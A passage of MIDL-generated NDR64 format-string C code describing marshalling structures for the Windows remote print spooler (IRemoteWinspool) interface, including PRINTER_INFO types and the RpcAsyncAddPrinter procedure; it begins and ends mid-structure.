0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* DEVMODE */\n    { \n    /* DEVMODE */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* DEVMODE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 220 /* 0xdc */\n    }\n};\n\nstatic const __midl_frag51_t __midl_frag51 =\n{ \n/* PRINTER_INFO_2 */\n    { \n    /* PRINTER_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 48 /* 0x30 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 56 /* 0x38 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *DEVMODE */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag59\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 64 /* 0x40 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 80 /* 0x50 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 88 /* 0x58 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 96 /* 0x60 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *SECURITY_DESCRIPTOR */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag64\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag50_t __midl_frag50 =\n{ \n/* *PRINTER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag51\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag45_t __midl_frag45 =\n{ \n/* PRINTER_INFO_1 */\n    { \n    /* PRINTER_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag49,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag44_t __midl_frag44 =\n{ \n/* *PRINTER_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag45\n};\n\nstatic const __midl_frag41_t __midl_frag41 =\n{ \n/* PRINTER_INFO_STRESS */\n    { \n    /* PRINTER_INFO_STRESS */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_STRESS */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* *PRINTER_INFO_STRESS */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag41\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag38_t __midl_frag38 =\n{ \n/* __MIDL_IRemoteWinspool_0012 */\n    { \n    /* __MIDL_IRemoteWinspool_0012 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag39,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag40,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag44,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag50,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag71,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag73,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag77,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag81,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag83,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag88,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 9 /* 0x9 */,\n        &__midl_frag88,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag37_t __midl_frag37 =\n{ \n/* PRINTER_CONTAINER */\n    { \n    /* PRINTER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag38\n        },\n        { \n        /* PRINTER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag33_t __midl_frag33 =\n{ \n/* RpcAsyncAddPrinter */\n    { \n    /* RpcAsyncAddPrinter */      /* procedure RpcAsyncAddPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag957,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag37,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag92,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag17,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag99,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag31_t __midl_frag31 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag28_t __midl_frag28 =\n{ \n/* SPLCLIENT_INFO_3 */\n    { \n    /* SPLCLIENT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag31,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 